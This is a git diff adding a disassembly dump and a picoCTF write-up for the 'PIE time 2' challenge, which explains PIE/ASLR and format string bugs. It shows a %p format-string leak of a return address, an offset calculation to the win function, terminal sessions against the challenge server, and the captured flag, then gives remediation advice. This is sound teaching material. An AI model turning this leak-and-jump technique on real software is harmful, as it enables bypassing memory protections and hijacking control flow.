(%rax,%rax) + 1140: f3 0f 1e fa endbr64 + 1144: f2 ff 25 4d 2e 00 00 repne jmpq *11853(%rip) # 0x3f98 <_GLOBAL_OFFSET_TABLE_+0x38> + 114b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1150: f3 0f 1e fa endbr64 + 1154: f2 ff 25 45 2e 00 00 repne jmpq *11845(%rip) # 0x3fa0 <_GLOBAL_OFFSET_TABLE_+0x40> + 115b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1160: f3 0f 1e fa endbr64 + 1164: f2 ff 25 3d 2e 00 00 repne jmpq *11837(%rip) # 0x3fa8 <_GLOBAL_OFFSET_TABLE_+0x48> + 116b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1170: f3 0f 1e fa endbr64 + 1174: f2 ff 25 35 2e 00 00 repne jmpq *11829(%rip) # 0x3fb0 <_GLOBAL_OFFSET_TABLE_+0x50> + 117b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1180: f3 0f 1e fa endbr64 + 1184: f2 ff 25 2d 2e 00 00 repne jmpq *11821(%rip) # 0x3fb8 <_GLOBAL_OFFSET_TABLE_+0x58> + 118b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1190: f3 0f 1e fa endbr64 + 1194: f2 ff 25 25 2e 00 00 repne jmpq *11813(%rip) # 0x3fc0 <_GLOBAL_OFFSET_TABLE_+0x60> + 119b: 0f 1f 44 00 00 nopl (%rax,%rax) + 11a0: f3 0f 1e fa endbr64 + 11a4: f2 ff 25 1d 2e 00 00 repne jmpq *11805(%rip) # 0x3fc8 <_GLOBAL_OFFSET_TABLE_+0x68> + 11ab: 0f 1f 44 00 00 nopl (%rax,%rax) + 11b0: f3 0f 1e fa endbr64 + 11b4: f2 ff 25 15 2e 00 00 repne jmpq *11797(%rip) # 0x3fd0 <_GLOBAL_OFFSET_TABLE_+0x70> + 11bb: 0f 1f 44 00 00 nopl (%rax,%rax) + +Disassembly of section .text: + +00000000000011c0 <_start>: + 11c0: f3 0f 1e fa endbr64 + 11c4: 31 ed xorl %ebp, %ebp + 11c6: 49 89 d1 movq %rdx, %r9 + 11c9: 5e popq %rsi + 11ca: 48 89 e2 movq %rsp, %rdx + 11cd: 48 83 e4 f0 andq $-16, %rsp + 11d1: 50 pushq %rax + 11d2: 54 pushq %rsp + 11d3: 4c 8d 05 e6 02 00 00 leaq 742(%rip), %r8 # 0x14c0 <__libc_csu_fini> + 11da: 48 8d 0d 6f 02 00 00 leaq 623(%rip), %rcx # 0x1450 <__libc_csu_init> + 11e1: 48 8d 3d 18 02 00 00 leaq 536(%rip), %rdi # 0x1400
+ 11e8: ff 15 f2 2d 00 00 callq *11762(%rip) # 0x3fe0 <_GLOBAL_OFFSET_TABLE_+0x80> + 11ee: f4 hlt + 11ef: 90 nop + +00000000000011f0 : + 11f0: 48 8d 3d 19 2e 00 00 leaq 11801(%rip), %rdi # 0x4010 + 11f7: 48 8d 05 12 2e 00 00 leaq 11794(%rip), %rax # 0x4010 + 11fe: 48 39 f8 cmpq %rdi, %rax + 1201: 74 15 je 0x1218 + 1203: 48 8b 05 ce 2d 00 00 movq 11726(%rip), %rax # 0x3fd8 <_GLOBAL_OFFSET_TABLE_+0x78> + 120a: 48 85 c0 testq %rax, %rax + 120d: 74 09 je 0x1218 + 120f: ff e0 jmpq *%rax + 1211: 0f 1f 80 00 00 00 00 nopl (%rax) + 1218: c3 retq + 1219: 0f 1f 80 00 00 00 00 nopl (%rax) + +0000000000001220 : + 1220: 48 8d 3d e9 2d 00 00 leaq 11753(%rip), %rdi # 0x4010 + 1227: 48 8d 35 e2 2d 00 00 leaq 11746(%rip), %rsi # 0x4010 + 122e: 48 29 fe subq %rdi, %rsi + 1231: 48 89 f0 movq %rsi, %rax + 1234: 48 c1 ee 3f shrq $63, %rsi + 1238: 48 c1 f8 03 sarq $3, %rax + 123c: 48 01 c6 addq %rax, %rsi + 123f: 48 d1 fe sarq %rsi + 1242: 74 14 je 0x1258 + 1244: 48 8b 05 a5 2d 00 00 movq 11685(%rip), %rax # 0x3ff0 <_GLOBAL_OFFSET_TABLE_+0x90> + 124b: 48 85 c0 testq %rax, %rax + 124e: 74 08 je 0x1258 + 1250: ff e0 jmpq *%rax + 1252: 66 0f 1f 44 00 00 nopw (%rax,%rax) + 1258: c3 retq + 1259: 0f 1f 80 00 00 00 00 nopl (%rax) + +0000000000001260 <__do_global_dtors_aux>: + 1260: f3 0f 1e fa endbr64 + 1264: 80 3d bd 2d 00 00 00 cmpb $0, 11709(%rip) # 0x4028 + 126b: 75 2b jne 0x1298 <__do_global_dtors_aux+0x38> + 126d: 55 pushq %rbp + 126e: 48 83 3d 82 2d 00 00 00 cmpq $0, 11650(%rip) # 0x3ff8 <_GLOBAL_OFFSET_TABLE_+0x98> + 1276: 48 89 e5 movq %rsp, %rbp + 1279: 74 0c je 0x1287 <__do_global_dtors_aux+0x27> + 127b: 48 8b 3d 86 2d 00 00 movq 11654(%rip), %rdi # 0x4008 <__dso_handle> + 1282: e8 69 fe ff ff callq 0x10f0 <.plt.got> + 1287: e8 64 ff ff ff callq 0x11f0 + 128c: c6 05 95 2d 00 00 01 movb $1, 11669(%rip) # 0x4028 + 1293: 5d popq %rbp + 1294: c3 retq + 1295: 0f 1f 00 nopl (%rax) + 1298: c3 retq + 1299: 0f 1f 80 00 00 00 00 nopl (%rax) + +00000000000012a0 : + 12a0: f3 0f 1e fa endbr64 + 12a4: e9 77 ff ff ff jmp 0x1220 + +00000000000012a9 : + 12a9: f3 0f 1e fa endbr64 + 12ad: 55 pushq %rbp + 12ae: 48 89 e5 movq %rsp, %rbp + 12b1: 48 8d 3d 50 0d 00 00 leaq 3408(%rip), %rdi # 0x2008 <_IO_stdin_used+0x8> + 12b8: e8 53 fe ff ff callq 0x1110 <.plt.sec+0x10> + 12bd: bf 00 00 00 00 movl $0, %edi + 12c2: e8 e9 fe ff ff callq 0x11b0 <.plt.sec+0xb0> + +00000000000012c7 : + 12c7: f3 0f 1e fa endbr64 + 12cb: 55 pushq %rbp + 12cc: 48 89 e5 movq %rsp, %rbp + 12cf: 48 83 ec 60 subq $96, %rsp + 12d3: 64 48 8b 04 25 28 00 00 00 movq %fs:40, %rax + 12dc: 48 89 45 f8 movq %rax, -8(%rbp) + 12e0: 31 c0 xorl %eax, %eax + 12e2: 48 8d 3d 45 0d 00 00 leaq 3397(%rip), %rdi # 0x202e <_IO_stdin_used+0x2e> + 12e9: b8 00 00 00 00 movl $0, %eax + 12ee: e8 4d fe ff ff callq 0x1140 <.plt.sec+0x40> + 12f3: 48 8b 15 26 2d 00 00 movq 11558(%rip), %rdx # 0x4020 + 12fa: 48 8d 45 b0 leaq -80(%rbp), %rax + 12fe: be 40 00 00 00 movl $64, %esi + 1303: 48 89 c7 movq %rax, %rdi + 1306: e8 55 fe ff ff callq 0x1160 <.plt.sec+0x60> + 130b: 48 8d 45 b0 leaq -80(%rbp), %rax + 130f: 48 89 c7 movq %rax, %rdi + 1312: b8 00 00 00 00 movl $0, %eax + 1317: e8 24 fe ff ff callq 0x1140 <.plt.sec+0x40> + 131c: 48 8d 3d 1d 0d 00 00 leaq 3357(%rip), %rdi # 0x2040 <_IO_stdin_used+0x40> + 1323: b8 00 00 00 00 movl $0, %eax + 1328: e8 13 fe ff ff callq 0x1140 <.plt.sec+0x40> + 132d: 48 8d 45 a0 leaq -96(%rbp), %rax + 1331: 48 89 c6 movq %rax, %rsi + 1334: 48 8d 3d 34 0d 00 00 leaq 3380(%rip), %rdi # 0x206f <_IO_stdin_used+0x6f> + 133b: b8 00 00 00 00 movl $0, %eax + 1340: e8 5b fe ff ff callq 0x11a0 <.plt.sec+0xa0> + 1345: 48 8b 45 a0 movq -96(%rbp), %rax + 1349: 48 89 45 a8 movq %rax, -88(%rbp) + 134d: 48 8b 45 a8 movq -88(%rbp), %rax + 1351: ff d0 callq *%rax + 1353: 90 nop + 1354: 48 8b 45 f8 movq -8(%rbp), %rax + 1358: 64 48 33 04 25 28 00 00 00 xorq %fs:40, %rax + 1361: 74 05 je 0x1368 + 1363: e8 c8 fd ff ff callq 0x1130 <.plt.sec+0x30> + 1368: c9 leave + 1369: c3 retq + +000000000000136a : + 136a: f3 0f 1e fa endbr64 + 136e: 55 pushq %rbp + 136f: 48 89 e5 movq %rsp, %rbp + 1372: 48 83 ec 10 subq $16, %rsp + 1376: 48 8d 3d f6 0c 00 00 leaq 3318(%rip), %rdi # 0x2073 <_IO_stdin_used+0x73> + 137d: e8 8e fd ff ff callq 0x1110 <.plt.sec+0x10> + 1382: 48 8d 35 f3 0c 00 00 leaq 3315(%rip), %rsi # 0x207c <_IO_stdin_used+0x7c> + 1389: 48 8d 3d ee 0c 00 00 leaq 3310(%rip), %rdi # 0x207e <_IO_stdin_used+0x7e> + 1390: e8 fb fd ff ff callq 0x1190 <.plt.sec+0x90> + 1395: 48 89 45 f8 movq %rax, -8(%rbp) + 1399: 48 83 7d f8 00 cmpq $0, -8(%rbp) + 139e: 75 16 jne 0x13b6 + 13a0: 48 8d 3d e0 0c 00 00 leaq 3296(%rip), %rdi # 0x2087 <_IO_stdin_used+0x87> + 13a7: e8 64 fd ff ff callq 0x1110 <.plt.sec+0x10> + 13ac: bf 00 00 00 00 movl $0, %edi + 13b1: e8 fa fd ff ff callq 0x11b0 <.plt.sec+0xb0> + 13b6: 48 8b 45 f8 movq -8(%rbp), %rax + 13ba: 48 89 c7 movq %rax, %rdi + 13bd: e8 8e fd ff ff callq 0x1150 <.plt.sec+0x50> + 13c2: 88 45 f7 movb %al, -9(%rbp) + 13c5: eb 1a jmp 0x13e1 + 13c7: 0f be 45 f7 movsbl -9(%rbp), %eax + 13cb: 89 c7 movl %eax, %edi + 13cd: e8 2e fd ff ff callq 0x1100 <.plt.sec> + 13d2: 48 8b 45 f8 movq -8(%rbp), %rax + 13d6: 48 89 c7 movq %rax, %rdi + 13d9: e8 72 fd ff ff callq 0x1150 <.plt.sec+0x50> + 13de: 88 45 f7 movb %al, -9(%rbp) + 13e1: 80 7d f7 ff cmpb $-1, -9(%rbp) + 13e5: 75 e0 jne 0x13c7 + 13e7: bf 0a 00 00 00 movl $10, %edi + 13ec: e8 0f fd ff ff callq 0x1100 <.plt.sec> + 13f1: 48 8b 45 f8 movq -8(%rbp), %rax + 13f5: 48 89 c7 movq %rax, %rdi + 13f8: e8 23 fd ff ff callq 0x1120 <.plt.sec+0x20> + 13fd: 90 nop + 13fe: c9 leave + 13ff: c3 retq + +0000000000001400
: + 1400: f3 0f 1e fa endbr64 + 1404: 55 pushq %rbp + 1405: 48 89 e5 movq %rsp, %rbp + 1408: 48 8d 35 9a fe ff ff leaq -358(%rip), %rsi # 0x12a9 + 140f: bf 0b 00 00 00 movl $11, %edi + 1414: e8 57 fd ff ff callq 0x1170 <.plt.sec+0x70> + 1419: 48 8b 05 f0 2b 00 00 movq 11248(%rip), %rax # 0x4010 + 1420: b9 00 00 00 00 movl $0, %ecx + 1425: ba 02 00 00 00 movl $2, %edx + 142a: be 00 00 00 00 movl $0, %esi + 142f: 48 89 c7 movq %rax, %rdi + 1432: e8 49 fd ff ff callq 0x1180 <.plt.sec+0x80> + 1437: b8 00 00 00 00 movl $0, %eax + 143c: e8 86 fe ff ff callq 0x12c7 + 1441: b8 00 00 00 00 movl $0, %eax + 1446: 5d popq %rbp + 1447: c3 retq + 1448: 0f 1f 84 00 00 00 00 00 nopl (%rax,%rax) + +0000000000001450 <__libc_csu_init>: + 1450: f3 0f 1e fa endbr64 + 1454: 41 57 pushq %r15 + 1456: 4c 8d 3d 03 29 00 00 leaq 10499(%rip), %r15 # 0x3d60 <__init_array_start> + 145d: 41 56 pushq %r14 + 145f: 49 89 d6 movq %rdx, %r14 + 1462: 41 55 pushq %r13 + 1464: 49 89 f5 movq %rsi, %r13 + 1467: 41 54 pushq %r12 + 1469: 41 89 fc movl %edi, %r12d + 146c: 55 pushq %rbp + 146d: 48 8d 2d f4 28 00 00 leaq 10484(%rip), %rbp # 0x3d68 <__do_global_dtors_aux_fini_array_entry> + 1474: 53 pushq %rbx + 1475: 4c 29 fd subq %r15, %rbp + 1478: 48 83 ec 08 subq $8, %rsp + 147c: e8 7f fb ff ff callq 0x1000 <_init> + 1481: 48 c1 fd 03 sarq $3, %rbp + 1485: 74 1f je 0x14a6 <__libc_csu_init+0x56> + 1487: 31 db xorl %ebx, %ebx + 1489: 0f 1f 80 00 00 00 00 nopl (%rax) + 1490: 4c 89 f2 movq %r14, %rdx + 1493: 4c 89 ee movq %r13, %rsi + 1496: 44 89 e7 movl %r12d, %edi + 1499: 41 ff 14 df callq *(%r15,%rbx,8) + 149d: 48 83 c3 01 addq $1, %rbx + 14a1: 48 39 dd cmpq %rbx, %rbp + 14a4: 75 ea jne 0x1490 <__libc_csu_init+0x40> + 14a6: 48 83 c4 08 addq $8, %rsp + 14aa: 5b popq %rbx + 14ab: 5d popq %rbp + 14ac: 41 5c popq %r12 + 14ae: 41 5d popq %r13 + 14b0: 41 5e popq %r14 + 14b2: 41 5f popq %r15 + 14b4: c3 retq + 14b5: 66 66 2e 0f 1f 84 00 00 00 00 00 nopw %cs:(%rax,%rax) + +00000000000014c0 <__libc_csu_fini>: + 14c0: f3 0f 1e fa endbr64 + 14c4: c3 retq + +Disassembly of section .fini: + +00000000000014c8 <_fini>: + 14c8: f3 0f 1e fa endbr64 + 14cc: 48 83 ec 08 subq $8, %rsp + 14d0: 48 83 c4 08 addq $8, %rsp + 14d4: c3 retq diff --git a/picoctf/binary_exploit/pie_time2/writeup.md b/picoctf/binary_exploit/pie_time2/writeup.md new file mode 100644 index 0000000..a7d0852 --- /dev/null +++ b/picoctf/binary_exploit/pie_time2/writeup.md @@ -0,0 +1,181 @@ +# PicoCTF: PIE time 2 + +## Context + +We are provided with a compiled binary and the source code (`vuln` and `vuln.c`), as well as a complimentary server and port to connect to via netcat. We only connect via netcat when we are ready to get the flag. + +When we do `./vuln` we are prompted to enter a name and then an address. If the address is not correct, we segfault: +```text +mms2379@spoc:~/ctf/pie_time2$ ./vuln +Enter your name:name +name + enter the address to jump to, ex => 0x12345: 0x0 +Segfault Occurred, incorrect address. +``` + +## Background Information: PIE executables and format string vulnerabilities + +Executables can come in different forms, notably PIE (position independent executable) and no-PIE. If we compile a PIE executable, it means that that whole chunk of code for the program can be placed anywhere in memory. This enables ASLR (address space layout randomization) which randomizes the memory address of key components of our program, like where its stack, heap, etc. begin. A no-PIE executable's code will be placed at a fixed address. That means that we cannot use ASLR. + +Below, I've provided examples of objdumped PIE and no-PIE executables. Note how the no-PIE executable starts at address 0x401000, while the PIE executable starts at 0x1000 so it's able to placed at a random memory address later. + +``` text +mms2379@spoc:~/temp/studying/linking2$ objdump -d main-no-pie + +main-no-pie: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000401000 <_init>: + 401000: f3 0f 1e fa endbr64 + 401004: 48 83 ec 08 sub $0x8,%rsp + 401008: 48 8b 05 e9 2f 00 00 mov 0x2fe9(%rip),%rax # 403ff8 <__gmon_start__@Base> + 40100f: 48 85 c0 test %rax,%rax + 401012: 74 02 je 401016 <_init+0x16> + 401014: ff d0 call *%rax + 401016: 48 83 c4 08 add $0x8,%rsp + 40101a: c3 ret +... + +``` + +```text +mms2379@spoc:~/temp/studying/linking2$ objdump -d main-dyn + +main-dyn: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000001000 <_init>: + 1000: f3 0f 1e fa endbr64 + 1004: 48 83 ec 08 sub $0x8,%rsp + 1008: 48 8b 05 d9 2f 00 00 mov 0x2fd9(%rip),%rax # 3fe8 <__gmon_start__@Base> + 100f: 48 85 c0 test %rax,%rax + 1012: 74 02 je 1016 <_init+0x16> + 1014: ff d0 call *%rax + 1016: 48 83 c4 08 add $0x8,%rsp + 101a: c3 ret + ... + +``` + +A format string vulnerability takes advantage of C's `printf(...)` to leak memory addresses. For example, if a program asks for user input and then prints that input back to the user using `printf(...)`, the user can supply a format string (`%s`, `%lx`, `%p`, etc.) so that their provided information gets printed in that form. Note that this is only possible when the `printf(...)` function **does not** already have a format string specifier. See the example below from OWASP. + +``` C +#include +void main(int argc, char **argv) +{ + // This line is safe + printf("%s\n", argv[1]); + + // This line is vulnerable + printf(argv[1]); +} +``` +`./example "Hello World %p %p %p %p %p %p"` will result in: `Hello World 000E133E 000E133E 0057F000 CCCCCCCC CCCCCCCC CCCCCCCC`. + +## Vulnerability + +Recall that we are asked to enter a name when we start the program. Let's take a closer look at the source code to see how we parse this user input. (See the full source code at `pie_time2/vuln.c`). We see that `main` calls `call_functions`, which does the user input handling: + +```C +void call_functions() { + char buffer[64]; + printf("Enter your name:"); + fgets(buffer, 64, stdin); + printf(buffer); + + unsigned long val; + printf(" enter the address to jump to, ex => 0x12345: "); + scanf("%lx", &val); + + void (*foo)(void) = (void (*)())val; + foo(); +} + +... + +int main() { + signal(SIGSEGV, segfault_handler); + setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered + + call_functions(); + return 0; +} +``` + +In particular, we notice that `printf` looks a little strange: it has no format specifier. My installed Clangd helped me get some information about this: + + + +We identify this as a format string vulnerability that may help us get more information. Notably, since we also aren't given the address of main like in PIE time 1, we may be able to use this to get more information about the run-time addresses of `vuln`. + +## Exploitation + +I decided to use OWASP's format string vulnerability example on `vuln`: + +``` +mms2379@spoc:~/ctf/pie_time2$ ./vuln +Enter your name:%p %p +0x70252070 0xfbad2288 + enter the address to jump to, ex => 0x12345: 0x0 +Segfault Occurred, incorrect address. +``` + +Indeed, we may use this to get some more information. However, we need to know what address we're looking for ahead of time. I headed to `vuln`'s disassembly for more information. (See the full disassembly at `pie_time2/vuln_dump.txt`) + +``` +0000000000001400
: + 1400: f3 0f 1e fa endbr64 + 1404: 55 push %rbp + 1405: 48 89 e5 mov %rsp,%rbp + ... + 143c: e8 86 fe ff ff call 12c7 + 1441: b8 00 00 00 00 mov $0x0,%eax + 1446: 5d pop %rbp + 1447: c3 ret + 1448: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) + 144f: 00 +``` + +`main` starts at 0x1400 and calls `call_functions` at 0x143c, and the line right after the function call is at 0x1441. Therefore, I decided to look for addresses that might end in these numbers. + +``` +mms2379@spoc:~/ctf/pie_time2$ ./vuln +Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p +0x600f8ae552a1 0xfbad2288 0x600f8ae552dc (nil) 0x600f8ae552a0 (nil) 0x70f4a581b780 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f000a702520 0x7ffdd74ed6e8 0xc6ffdfe5a02e6b00 0x7ffdd74ed5d0 0x600f50bea441 0x1 + enter the address to jump to, ex => 0x12345: 0x0 +Segfault Occurred, incorrect address. +``` + +After printing some more addresses (20, to be exact), I see this address: 0x600f50bea441. This matches the address of the line directly after the `call_functions` call, and it is not as large as the other numbers, so it's likely not a stack address. Let's calculate the difference between 0x1441 and the top of the `win` function: 0x1441 - 0x136a = 0xd7. On the next run of the program, let's try doing the address at the 19th `%p` - 0xd7 to see if that gets us to `win`: + +``` +mms2379@spoc:~/ctf/pie_time2$ nc rescued-float.picoctf.net 62828 +Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p +0x5a1c306e92a1 (nil) 0x5a1c306e92dd 0x7fffa2f42b10 0x7c 0x7fffa2f86228 0x760d6012a6a0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa20702520 0x5a1c2f1541c0 0x24da89febb514f00 0x7fffa2f42b70 0x5a1c2f154441 (nil) +``` + +We do: 0x5a1c2f154441 - 0xd7 = 0x5a1c2f15436a + +``` +mms2379@spoc:~/ctf/pie_time2$ nc rescued-float.picoctf.net 62828 +Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p +0x5a1c306e92a1 (nil) 0x5a1c306e92dd 0x7fffa2f42b10 0x7c 0x7fffa2f86228 0x760d6012a6a0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa20702520 0x5a1c2f1541c0 0x24da89febb514f00 0x7fffa2f42b70 0x5a1c2f154441 (nil) + enter the address to jump to, ex => 0x12345: 0x5a1c2f15436a +You won! +picoCTF{p13_5h0u1dn'7_134k_2509623b} +``` + +## Remediation + +The big vulnerability here is the format string vulnerability. It allowed us to leak addresses and therefore go to other functions with some simple calculations. Always use format specifiers in your `printf` statements! + +# Sources/Credits + +Written by Madalina Stoicov + +- https://cs4157.github.io/www/2025-1/lect/17-linking-2.html +- https://owasp.org/www-community/attacks/Format_string_attack